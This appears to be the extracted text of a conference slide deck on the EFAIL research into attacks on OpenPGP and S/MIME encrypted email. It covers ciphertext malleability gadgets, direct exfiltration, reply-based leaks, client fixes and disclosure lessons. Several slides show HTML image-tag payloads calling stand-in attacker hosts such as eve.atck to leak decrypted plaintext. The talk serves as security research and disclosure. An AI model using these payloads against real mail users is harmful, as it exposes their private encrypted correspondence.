Attacking End-to-End Encrypted Emails Joint research with : Prof. - - PowerPoint PPT Presentation

▶
attacking end to end encrypted emails
SMART_READER_LITE
LIVE PREVIEW

Attacking End-to-End Encrypted Emails Joint research with : Prof. - - PowerPoint PPT Presentation

Mar 10, 2023 273 likes •1.01k views

https://efail.de/ Attacking End-to-End Encrypted Emails Joint research with : Prof. Dr. Sebastian Schinzel Damian Poddebniak, Christian Dresen, Twitter: @seecurity Jens Mller, Fabian Ising, Simon Friedberger, Juraj Somorovsky, Jrg

slide-1
SLIDE 1

Attacking End-to-End Encrypted Emails

  • Prof. Dr. Sebastian Schinzel

Twitter: @seecurity

Joint research with: Damian Poddebniak, Christian Dresen, Jens Müller, Fabian Ising, Simon Friedberger, Juraj Somorovsky, Jörg Schwenk, Marcus Brinkmann.

https://efail.de/

slide-2
SLIDE 2

Email.

2

slide-3
SLIDE 3

smtp.corp1 av1.com archive.corp1 smtp.corp2 av2.com archive.corp2 imap.corp1 imap.corp2

slide-4
SLIDE 4

imap.corp1 smtp.corp1 av1.com archive.corp1

slide-5
SLIDE 5

There is no such thing as

“My Email”.

5

slide-6
SLIDE 6

imap.corp1 smtp.corp1 av1.com archive.corp1

Assumption: Attacker has access to emails!

slide-7
SLIDE 7

Two competing standards

OpenPGP (RFC 4880)

  • First “encryption for the masses”
  • Favored by privacy advocates
  • Most widely used email clients require plugin

S/MIME (RFC 5751)

  • Favored by corporate organizations
  • Native support in most widely used email clients

7

slide-8
SLIDE 8

Known limitations!

Usability Snowden Effekt

Enigmail New keys at keyserver Hard for S/MIME

Opsec von Snowden und thegruq Ver- und Entschlüsselung nur in separater Anwendung!

8

New published PGP public keys per month

?

Thanks to Marcus Brinkmann @neopg_

slide-9
SLIDE 9

Known limitations!

Usability Snowden Effekt

Enigmail New keys at keyserver Hard for S/MIME

Opsec von Snowden und thegruq Ver- und Entschlüsselung nur in separater Anwendung!

9

Daily users of Enigmail

slide-10
SLIDE 10

10

‘99 ‘06 ‘15

slide-11
SLIDE 11
  • https://vimeo.com/56881481
  • https://gist.github.com/grugq/

03167bed45e774551155

Some tutorials recommend using PGP outside of email client. Others recommended Enigmail in default settings (i.e. HTML switched on)

11

PGP and OpSec

slide-12
SLIDE 12

12

Agenda

Efail CBC/CFB Gadgets Efail Direct Exfiltration Reply to attacker

slide-13
SLIDE 13

13

2014: Enigmail won’t encrypt.

https://sourceforge.net/p/enigmail/forum/support/thread/3e7268a4/

slide-14
SLIDE 14

14

2017: Outlook includes plaintext in encrypted email.

https://www.sec-consult.com/en/blog/2017/10/fake-crypto-microsoft-outlook-smime-cleartext-disclosure-cve-2017-11776/

slide-15
SLIDE 15

15

2018: Enigmail/PEP won‘t encrypt.

https://www.heise.de/security/meldung/c-t-deckt-auf-Enigmail-verschickt-Krypto-Mails-im-Klartext-4180405.html

slide-16
SLIDE 16

16

Agenda

Plaintext bugs Efail CBC/CFB Gadgets Efail Direct Exfiltration Reply to attacker

slide-17
SLIDE 17

Content-type: app/encrypted 𝑡

  • Choose message 𝑛
  • Generate session key 𝑡
  • Encrypt message 𝑛 with session key 𝑡

– 𝑑 = 𝐵𝐹𝑇𝑡(𝑛)

  • Encrypt session key 𝑡 with public key

𝑞𝑣𝑐 of recipient

– 𝑙 = 𝑆𝑇𝐵𝑞𝑣𝑐(𝑡)

  • Send the encrypted session key and the

encrypted message to the recipient

17

𝒍 Dear Alice, thank you for your email. The meeting tomorrow will be at 9 o‘clock.

c

Hybrid decryption

slide-18
SLIDE 18

Content-type: app/encrypted 𝑡 𝒍

  • Obtain the encrypted email
  • Extract ciphertext 𝑙 and ciphertext 𝑑
  • Decrypt 𝑙 with private key 𝑡𝑓𝑑 to
  • btain session key 𝑡

– 𝑡 = 𝑆𝑇𝐵𝑡𝑓𝑑(𝑙)

  • Decrypt ciphertext 𝑑 with session key

𝑡 to obtain the cleartext 𝑛

– 𝑛 = 𝐵𝐹𝑇𝑡 𝑑

18

Hybrid decryption

Dear Alice, thank you for your email. The meeting tomorrow will be at 9 o‘clock.

c

slide-19
SLIDE 19

𝒅

19

Ciphertext malleability

↯

𝑡

Dear Alice, ????????????????ur efail. The meeting tomorrow will be at 9 o‘clock.

slide-20
SLIDE 20

20

CBC Mode of Encryption

decryption

Content-type: te

C1 P0

decryption

xt/html\nDear Bob

C2 P1 C0

slide-21
SLIDE 21

21

decryption

Zontent-type: te

C1 P0'

decryption

xt/html\nDear Bob

C2 P1 C0'

Malleability of CBC/CFB

slide-22
SLIDE 22

22

C0 ⊕ P0

decryption

0000000000000000

C1 P0'

decryption

xt/html\nDear Bob

C2 P1

CBC Gadget

Malleability of CBC/CFB

slide-23
SLIDE 23

23

C0 ⊕ P0 ⊕ Pc

decryption

<img src=”ev.il/

C1 Pc

decryption

xt/html\nDear Bob

C2 P1

Malleability of CBC/CFB

slide-24
SLIDE 24

24

decryption

Content-type: te

C1' P0'

decryption

Zt/html\nDear Bob

C2 P1' C0

Malleability of CBC/CFB

slide-25
SLIDE 25

25

decryption

????????????????

C1' P0'

decryption

Zt/html\nDear Bob

C2 P1' C0

Malleability of CBC/CFB

slide-26
SLIDE 26

𝒅

26

Ciphertext Malleability

↯

𝑡

Dear Alice, ????????????????ur efail. The meeting tomorrow will be at 9 o‘clock.

slide-27
SLIDE 27

Message Authentication Codes

  • Protection against ciphertext tampering

Digital Signatures?

  • Merely used to display status message or icon
  • In many cases, attacker can

– remove signatures – sign unknown ciphertext under own identity

27

MAC != digital signature

“valid signature” “invalid signature” “encrypted, not signed”

slide-28
SLIDE 28

S/MIME

28

slide-29
SLIDE 29

29

S/MIME

slide-30
SLIDE 30

30

Attacking S/MIME

???????????????? <base " ???????????????? <img " ???????????????? " href="http:"> Content-type: te xt/html\nDear Sir

  • r Madam, the se

ecret meeting wi ???????????????? " src="efail.de/ Content-type: te xt/html\nDear Sir

  • r Madam, the se

ecret meeting wi ???????????????? "> Original Crafted

Modify Duplicate Reorder

slide-31
SLIDE 31
slide-32
SLIDE 32

Windows Linux macOS iOS Android Webmail Webapp

Outlook IBM Notes Postbox Foxmail Live Mail Pegasus The Bat! Mulberry eM Client

Thunderbird

Evolution KMail Trojitá Claws Mutt

Apple Mail

Airmail MailMate Mail App

CanaryMail

Outlook K-9 Mail R2Mail MailDroid Nine GMail

Outlook.com

Yahoo! iCloud GMX

HushMail

Mail.ru FastMail

Roundcube

RainLoop AfterLogic

Horde IMP

ProtonMail

Mailfence Mailbox ZoHo Mail

No user interaction User interaction Leak via bypass

W8Mail W10Mail WLMail

Mailpile Exchange GroupWise 32

Javascript execution

40/47 clients have backchannels requiring no user interaction

Backchannels in email clients

slide-33
SLIDE 33
  • S/MIME has no

standard- conforming countermeasure

  • Email clients try

to mitigate this (insufficiently)

33

slide-34
SLIDE 34

Demo ohne html

slide-35
SLIDE 35

28.12.2018 35

Outlook: Non-HTML CBC Gadgets?

recommendations

PDF

slide-36
SLIDE 36

28.12.2018 36

Outlook: Non-HTML CBC Gadgets?

recommendations

PDF

slide-37
SLIDE 37

28.12.2018 37

Outlook: Non-HTML CBC Gadgets?

recommendations

MS Word

slide-38
SLIDE 38

28.12.2018 38

Outlook: Non-HTML CBC Gadgets?

recommendations

LibreOffice

slide-39
SLIDE 39

39

Outlook: Non-HTML CBC Gadgets?

Challenge:

  • 1. Write a non-HTML demo that

exfiltrates OpenPGP or S/MIME email plaintext blocks via attachments (PDF, Word, XML, ...).

  • 2. First successful submission gets a

crate of Club Mate and Efail swag!

slide-40
SLIDE 40

28.12.2018

EFAIL – Poddebniak, Dresen, Müller, Ising, Schinzel, Friedberger, Somorovsky, Schwenk

40

Efail-related changes to S/MIME

https://tools.ietf.org/html/draft-ietf-lamps-rfc5751-bis-12#page-45

Efail CBC Gadget attack: Efail direct exfiltration attack:

slide-41
SLIDE 41

OPENPGP

41

slide-42
SLIDE 42
  • OpenPGP uses a variation of CFB-Mode
  • Plaintext compression is enabled by default
  • OpenPGP defines Modification Detection Code

“MDC“ (𝑇𝐼𝐵1(𝑛))

42

Differences S/MIME  OpenPGP

SEIP m sha1(m) MDC

slide-43
SLIDE 43

43

OpenPGP RFC on invalid MDCs

slide-44
SLIDE 44

28.12.2018 44

# new PGP keys with/without MDCs per year

Thanks to Marcus Brinkmann @neopg_

slide-45
SLIDE 45

28.12.2018 45

# cumulative valid PGP keys not supporting MDCs per year

Thanks to Marcus Brinkmann @neopg_

slide-46
SLIDE 46

46

Attacking OpenPGP

SEIP m

sha1(m)

  • 1. MDC stripped:

SEIP m

sha1(m)

  • 2. MDC incorrect:

SEIP

m‘

sha1(m)

  • 3. SEIP->SE downgrade
slide-47
SLIDE 47

47

Attacking OpenPGP

Vulnerable Not Vulnerable

Client Plugin (up to version) MDC Stripped MDC Incorrect SEIP -> SE

Outlook 2007 GPG4WIN 3.0.0 Outlook 2010 GPG4WIN Outlook 2013 GPG4WIN Outlook 2016 GPG4WIN Thunderbird Enigmail 1.9.9 Apple Mail (OSX) GPGTools 2018.01

slide-48
SLIDE 48

48

Efail-related changes to OpenPGP

https://tools.ietf.org/html/draft-ietf-openpgp-rfc4880bis-05#section-5.8

slide-49
SLIDE 49

49

Efail-related changes to OpenPGP

https://tools.ietf.org/html/draft-ietf-openpgp-rfc4880bis-05#page-104

slide-50
SLIDE 50

50

Efail-related changes to OpenPGP

https://tools.ietf.org/html/draft-ietf-openpgp-rfc4880bis-05#page-63 https://mailarchive.ietf.org/arch/msg/openpgp/KXM9nqbhkn3ELTznP6YBQhEipC0

Checking MDC only possible after full decryption

– GnuPG streams plaintext to app during decryption – Only when finished, GnuPG prints flag whether or not decryption was successful.

OpenPGP draft already supported chunking of plaintext

– Pro: Authenticate chunks before giving it to app! – Con: Recommended chunk size is 128MByte (OpenPGP implementations may not want to cache 128MByte and thus use streaming again)

slide-51
SLIDE 51

51

Efail-related changes to GnuPG

  • MDC errors now result in hard failures

(not merely warnings).

  • GnuPG now always uses MDC independently if key

denotes MDC support or not.

  • But:

– Sets default chunks sizes from 1GByte to 128MByte. – Still streams unauthenticated plaintext.

slide-52
SLIDE 52

imap.corp1 smtp.corp1 av1.com archive.corp1

slide-53
SLIDE 53

53

Agenda

Plaintext bugs Efail CBC/CFB Gadgets Efail Direct Exfiltration Reply to attacker

slide-54
SLIDE 54

54

Efail Direct Exfiltration

Encryption Alice writes a Mail to Bob

From: Alice To: Bob Dear Bob, the meeting tomorrow will be at 9 o‘clock.

  • ----BEGIN PGP MESSAGE-----

hQIMA1n/0nhVYSIBARAAiIsX1QsH ZObL2LopVexVVZ1uvk3wieArHUg…

  • ----END PGP MESSAGE-----

Alice’s mail program encrypts the email

slide-55
SLIDE 55

Original E-Mail

55

Eve’s attack E-Mail

Content-Type: text/html <img src="http://eve.atck/ Content-Type: text/html "> From: Eve To: Bob From: Alice To: Bob

Eve modifies the email and sends it to Bob or Alice Eve captures the encrypted mail between Alice and Bob

  • ----BEGIN PGP MESSAGE-----

hQIMA1n/0nhVYSIBARAAiIsX1QsH ZObL2LopVexVVZ1uvk3wieArHUg…

  • ----END PGP MESSAGE-----

Efail Direct Exfiltration

slide-56
SLIDE 56

Bob’s mail program decrypts the email

56

Decryption Eve’s attack E-Mail

Content-Type: text/html <img src="http://eve.atck/ Content-Type: text/html "> From: Eve To: Bob

Bob’s mail program puts the clear text back into the body

  • ----BEGIN PGP MESSAGE-----

hQIMA1n/0nhVYSIBARAAiIsX1QsH ZObL2LopVexVVZ1uvk3wieArHUg…

  • ----END PGP MESSAGE-----

Dear Bob, the meeting tomorrow will be at 9 o‘clock.

Efail Direct Exfiltration

slide-57
SLIDE 57

Bob’s mail program merges the body parts into a single

  • ne

Bob’s mail program loads an image from the attackers url with the plaintext

57

Eve’s attack E-Mail

Content-Type: text/html <img src="http://eve.atck/ Content-Type: text/html "> Dear Bob, the meeting tomorrow will be at 9 o‘clock. Content-Type: text/html <img src="http://eve.atck/Dear Bob, the meeting tomorrow will be at 9 o‘clock.“> From: Eve To: Bob GET /Dear%20Bob%2C%0D%0Athe %20meeting%20tomorrow%20will %20be%20at%209%20o%E2%80%98c lock.

Eve

Efail Direct Exfiltration

slide-58
SLIDE 58

Demo1: Attacking one email

58

direct exfiltration

slide-59
SLIDE 59

59

direct exfiltration

slide-60
SLIDE 60

28.12.2018 60

Exfiltrating many emails

Content-Type: text/html <img src="http://eve.atck/ Content-Type: text/html "> <img src="http://eve.atck/ From: Eve To: Bob

  • ----BEGIN PGP MESSAGE-----

hQIMA1n/0nhVYSIBARAAiIsX1QsHZObL2L

  • pVexVVZ1uvk3wieArHUg…
  • ----END PGP MESSAGE-----
  • ----BEGIN PGP MESSAGE-----

hQIMA1n/0nhVYSIBARAAiIsX1QsHZObL2L

  • pVexVVZ1uvk3wieArHUg…
  • ----END PGP MESSAGE-----

Content-Type: text/html "> <img src="http://eve.atck/

  • ----BEGIN PGP MESSAGE-----

hQIMA1n/0nhVYSIBARAAiIsX1QsHZObL2L

  • pVexVVZ1uvk3wieArHUg…

1. 2. 3.

  • Common email clients allow

hundreds of MIME parts.

  • Actual limits depend on

implementation and performance of target system (timeouts).

slide-61
SLIDE 61

Demo2: Attack 100 emails in one go

61

direct exfiltration

slide-62
SLIDE 62

62

Exfiltrating many emails

Recap:

  • Attacker can exfiltrate hundreds of S/MIME or OpenPGP

ciphertexts with single malicious email.

  • Victim merely needs to open the email.
  • In May 2018, two widely used clients (Apple Mail and

Thunderbird) either

– weren‘t patched or – patches were insufficient

slide-63
SLIDE 63

63

slide-64
SLIDE 64

64

slide-65
SLIDE 65

65

http://flaked.sockpuppet.org/2018/05/16/a-unified-timeline.html

An independent summary of the disclosure timeline, compiled from public information.

slide-66
SLIDE 66

66

slide-67
SLIDE 67

69

slide-68
SLIDE 68

70

Disclosure; lessons learnt

1. Stick to a 90 day disclosure deadline. 2. Be careful with disclosure pre-announcements, because:

– People will speculate about the details and

a) underrate the risk, or b) overrate the risk, and c) spread false information.

– you won‘t be in control of communicating the details.

3. Controling information flow right after disclosure is essential.

slide-69
SLIDE 69

71

Agenda

Plaintext bugs Efail CBC/CFB Gadgets Efail Direct Exfiltration Reply to attacker

slide-70
SLIDE 70

Non-html-Email with inline pgp ciphertext,  Antwort an Angreifer  Demo in Apple Mail!  Demo in Mutt!  Keine Verbindung von Ciphertext zu Absender!

72

Reply to attacker email

See also: https://cure53.de/pentest-report_thunderbird-enigmail.pdf

slide-71
SLIDE 71

73

slide-72
SLIDE 72
  • Attacker sends benign

email that tempts victim to respond

  • Email contains OpenPGP
  • r S/MIME ciphertext
  • Victim‘s mail client

decrypts ciphertext and includes it in reply email

74

Reply to attacker email

See also: https://cure53.de/pentest-report_thunderbird-enigmail.pdf

slide-73
SLIDE 73

75

Probably yes:

  • Avoid email.
  • If you can‘t, use OpenPGP, and

encrypt/decrypt outside of mail client. Probably not:

  • Prefer OpenPGP over S/MIME.
  • Disable HTML for encrypted emails and

be careful with attachments.

  • Don‘t cite text in reply.

Sebastian Schinzel Email: schinzel@fh-muenster.de Twitter: @seecurity

Meet us at Chaos West right after talk!

Are you targeted by motivated attackers?